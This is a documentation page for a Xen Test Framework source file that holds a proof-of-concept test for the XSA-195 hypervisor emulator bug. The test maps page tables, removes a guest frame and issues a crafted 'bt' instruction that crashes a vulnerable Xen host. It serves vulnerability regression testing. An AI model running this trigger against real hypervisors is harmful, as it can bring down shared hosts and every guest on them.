Xen Test Framework
main.c
Go to the documentation of this file.
1 
25 #include <xtf.h>
26 
27 const char test_title[] = "XSA-195 PoC";
28 
29 static intpte_t nl3t[L3_PT_ENTRIES] __page_aligned_bss;
32 
33 void test_main(void)
34 {
35  unsigned int i;
36  unsigned long *mem = _p((1ul << 47) - sizeof(unsigned long));
37  unsigned long idx = 0xfffd000000000000ull;
38 
39  unsigned long mem_adjust = (8 + ((-idx - 1) >> 3)) & ~7;
40 
41  /*
42  * linear is the memory target which the `bt` instruction will actually hit.
43  * A vulnerable Xen mis-calculates the memory adjustment, meaning that it
44  * will attempt to read from some other address.
45  */
46  unsigned long linear = _u(mem) - mem_adjust;
47 
48  /*
49  * Make all of the virtual address space readable, so Xen's data fetch
50  * succeeds.
51  */
52  l1_identmap[0] = pte_from_gfn(0, PF_SYM(AD, P));
53 
54  for ( i = 4; i < L3_PT_ENTRIES; ++i )
55  pae_l3_identmap[i] = pae_l3_identmap[0] & ~PF_SYM(RW);
56 
57  for ( i = 1; i < L4_PT_ENTRIES; ++i )
58  pae_l4_identmap[i] = pae_l4_identmap[0] & ~PF_SYM(RW);
59 
60  /* Map linear to pointing specifically to gfn 0. */
61  nl1t[l1_table_offset(linear)] = pte_from_gfn(0, PF_SYM(U, P));
62  nl2t[l2_table_offset(linear)] = pte_from_virt(nl1t, PF_SYM(U, P));
63  nl3t[l3_table_offset(linear)] = pte_from_virt(nl2t, PF_SYM(U, P));
64  pae_l4_identmap[l4_table_offset(linear)] = pte_from_virt(nl3t, PF_SYM(U, P));
65 
66  /* Remove gfn 0 from the p2m, to cause `bt` to trap for emulation. */
67  static unsigned long extent = 0;
68  static struct xen_memory_reservation mr =
69  {
70  .extent_start = &extent,
71  .nr_extents = 1,
72  .domid = DOMID_SELF,
73  };
75  return xtf_failure("Failed to decrease reservation at %#lx\n", extent);
76 
77  /* Poke the emulator. */
78  asm volatile ("bt %[idx], %[mem];"
79  :: [mem] "m" (*mem),
80  [idx] "r" (idx));
81 
82  /* If we are still alive at this point, Xen didn't die. */
83 
84  xtf_success("Success: Not vulnerable to XSA-195\n");
85 }
86 
87 /*
88  * Local variables:
89  * mode: C
90  * c-file-style: "BSD"
91  * c-basic-offset: 4
92  * tab-width: 4
93  * indent-tabs-mode: nil
94  * End:
95  */
#define L1_PT_ENTRIES
Definition: page.h:69
static intpte_t nl2t[L2_PT_ENTRIES]
Definition: main.c:30
#define __page_aligned_bss
Definition: compiler.h:37
#define XENMEM_decrease_reservation
Definition: memory.h:9
unsigned long * extent_start
Definition: memory.h:13
intpte_t pte_from_virt(const void *va, uint64_t flags)
#define _u(v)
Express an arbitrary value v as unsigned long.
Definition: numbers.h:53
unsigned int l3_table_offset(unsigned long linear)
intpte_t pte_from_gfn(unsigned long gfn, uint64_t flags)
#define PF_SYM(...)
Create pagetable entry flags based on mnemonics.
static intpte_t nl1t[L1_PT_ENTRIES]
Definition: main.c:31
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
void xtf_failure(const char *fmt,...)
Report a test failure.
Definition: report.c:94
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:137
unsigned int l1_table_offset(unsigned long linear)
unsigned long intpte_t
Definition: page.h:152
static intpte_t nl3t[L3_PT_ENTRIES]
Definition: main.c:29
const char test_title[]
The title of the test.
Definition: main.c:14
#define L2_PT_ENTRIES
Definition: page.h:70
unsigned int l4_table_offset(unsigned long linear)
#define _p(v)
Express an abitrary integer v as void *.
Definition: numbers.h:48
#define DOMID_SELF
Definition: xen.h:70
unsigned int l2_table_offset(unsigned long linear)
static long hypercall_memory_op(unsigned int cmd, void *arg)
Definition: hypercall.h:100